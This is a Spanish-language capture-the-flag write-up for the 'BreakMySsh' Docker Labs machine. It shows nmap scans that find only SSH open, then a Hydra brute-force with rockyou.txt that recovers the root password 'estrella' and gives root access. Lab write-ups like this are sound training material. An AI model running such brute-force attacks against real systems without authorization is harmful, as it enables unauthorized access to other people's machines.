BreakMySsh

🔒 Dificultad	Muy Facil
⌨️ Tecnicas	Hydra
⬆ Pagina	Docker labs
⟳ Estado	Listo

Lo primero que hacemos es ver q puertos están abiertos

nmap -p- —open —min-rate 5000 -vvv -n -Pn 172.17.0.2 -oG allport

```
File: allPorts
# Nmap 7.95 scan initiated Mon Oct 13 19:47:36 2025 as: /usr/lib/nmap/nmap -p- -open --min-rate 5000 -n -vvvv -Pn -oG allPorts 172.17.0.2
# Ports scanned: TCP(65535;1-65535) UDP(0;) SCTP(0;) PROTOCOLS(0;)
Host: 172.17.0.2 () Status: Up
Host: 172.17.0.2 () Ports: 22/open/tcp//ssh///  Ignored State: closed (65534)
# Nmap done at Mon Oct 13 19:47:37 2025 -- 1 IP address (1 host up) scanned in 1.06 seconds
```

Luego tiramos unos script basicos y buscamos las versiones de los puerto s abiertos

nmap -p22 -sCV -oN targeted 172.17.0.2

```
File: targeted
# Nmap 7.95 scan initiated Mon Oct 13 19:48:59 2025 as: /usr/lib/nmap/nmap -p22 -sCV -oN targeted 172.17.0.2
Nmap scan report for 172.17.0.2
Host is up (0.000038s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.7 (protocol 2.0)
| ssh-hostkey:
|   2048 1a:cb:5e:a3:3d:d1:da:c0:ed:2a:61:7f:73:79:46:ce (RSA)
|   256 54:9e:53:23:57:fc:60:1e:c0:41:cb:f3:85:32:01:fc (ECDSA)
|_  256 4b:15:7e:7b:b3:07:54:3d:74:ad:e0:94:78:0c:94:93 (ED25519)
MAC Address: 02:42:AC:11:00:02 (Unknown)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Oct 13 19:49:12 2025 -- 1 IP address (1 host up) scanned in 13.66 seconds
```

Implementamos hydra para ver si encontramos la contraseña

hydra -L /usr/share/SecLists/Usernames/top-usernames-shortlist.txt
-P /usr/share/wordlist/rockyou.txt ssh://172.17.0.2


```
> hydra -L /usr/share/SecLists/Usernames/top-usernames-shortlist.txt -P /usr/share/wordlists/rockyou.txt ssh://172.17.0.2
Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-10-13 19:51:29
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 243854783 login tries (l:17/p:14344399), ~15240924 tries per task
[DATA] attacking ssh://172.17.0.2:22/
[22][ssh] host: 172.17.0.2   login: root   password: estrella
```

Ingresamos mediante ssh con el usuario y contraseña correspondiente. Y ya somos root


```
root@553dee03bc21:~# whoami
root
root@553dee03bc21:~#
```